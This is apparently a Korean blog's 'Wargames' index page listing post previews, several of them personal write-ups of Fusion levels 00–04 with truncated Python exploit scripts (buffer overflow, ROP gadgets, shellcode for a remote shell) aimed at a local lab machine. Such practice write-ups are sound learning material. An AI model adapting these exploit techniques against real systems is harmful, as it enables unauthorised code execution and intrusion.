본문 바로가기

Wargames

pwnable.kr softmmu [666] 보호되어 있는 글입니다. 더보기
kernel - ranchar 보호되어 있는 글입니다. 더보기
kernel - knoob 보호되어 있는 글입니다. 더보기
fusion level04 얘도 엄청 어려웠다ㅋㅋㅋㅋ 두 군데에서 삽질을 했는데 첫 번째는 이 프로그램이 데몬으로 돌아가서 실행할 때마다 패스워드와 카나리, 베이스 주소 등등이 바뀌는 줄 알고 어떻게 할까 고민고민 하다가 성우형이 소켓이라는 사실과 패스워드를 구해내는 힌트를 주셔서 겨우 이 고비를 넘겼었다. 그리고 익스플로잇을 다 짠 후에 이번에는 당연히 소켓이니까 소켓용 /bin/sh를 보내다가 dup2 함수를 통해 파일디스크립터가 표준으로 바뀌어 있음을 깨닫고 일반 /bin/sh로 보내니까 쉘이 잘 따였다. 이 두 개 때문에 거의 이틀을 버렸다..ㅠㅠ1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545.. 더보기
fusion level03 완전 어려웠다. 진짜 짱짱 어려웠다. 취약점 자체도 예상하지 못한거였는데 익스플로잇 하는 거도 어려웠다.. 마지막에는 풀이도 살짝 참고해서 풀어서 좀 아쉬웠다ㅠㅠㅠ 레벨4는 절대 풀이 꼭 안보고 풀어봐야겠다.12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from SunKn0wn import *import hmacimport itertools r = remote('192.168.179.151', 20003)table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"gadge.. 더보기
fusion level02 중간에 엉뚱한데서 살짝 삽질을 했었다. level03부터 완전 헬이라던데 어떨지 모르겠다.. 12345678910111213141516171819202122232425262728293031323334353637383940414243from SunKn0wn import * r = remote('192.168.179.151', 20002) read_plt = 0x08048860execve_plt = 0x080489b0bss = 0x0804b420pppr = 0x80499bd ############ get xor key ############r.recvsend('E')r.send('\x80\x00\x00\x00')r.send('\x00' * 0x80)r.recvuntil('--]\n\x80\x00\x00\x0.. 더보기
fusion level01 레벨0이랑 소스는 같은데 aslr이 추가되고 버퍼의 주소를 안알려줬다. 문제를 보고 그냥 바로 ROP를 해야겠다 생각해서 걍 ROP로 풀었었는데 풀고 다른 사람들의 풀이를 보니까 다 jmp esp 가젯을 이용해서 풀었더라.. jmp esp 가젯은 많이 사용해 본 적이 없어서 생각해 내지 못한 것 같다. 앞으로 또 써먹을 일이 있었으면 좋겠다. 12345678910111213141516171819202122232425262728293031323334from SunKn0wn import * r = remote('192.168.179.151', 20001) strcpy_plt = 0x080489A0leaveret = 0x8049853ppr = 0x08049A2Epopebpret = 0x8049a78bss = .. 더보기
fusion level00 간단한 bof 였다. NX가 걸려있지 않고 버퍼의 주소를 알기 때문에 쉘코드를 사용했다. 다만 realpath라는 함수의 용도를 모르겠어서 약간 헤멨었다.123456789101112from SunKn0wn import * r = remote('192.168.179.151', 20000)r.recvuntil('at 0x')buf = int(r.recv(8), 16)print "[*]buffer addr : " + str(hex(buf))payload = 'A' * 139payload += p32(buf + 144)payload += SocketShell32payload = 'GET ' + payload + ' HTTP/1.1'r.recvsend(payload)r.interactive()cs 더보기
[Rookiss] syscall - 200pt 보호되어 있는 글입니다. 더보기
[Rookiss] fix - 35pt 보호되어 있는 글입니다. 더보기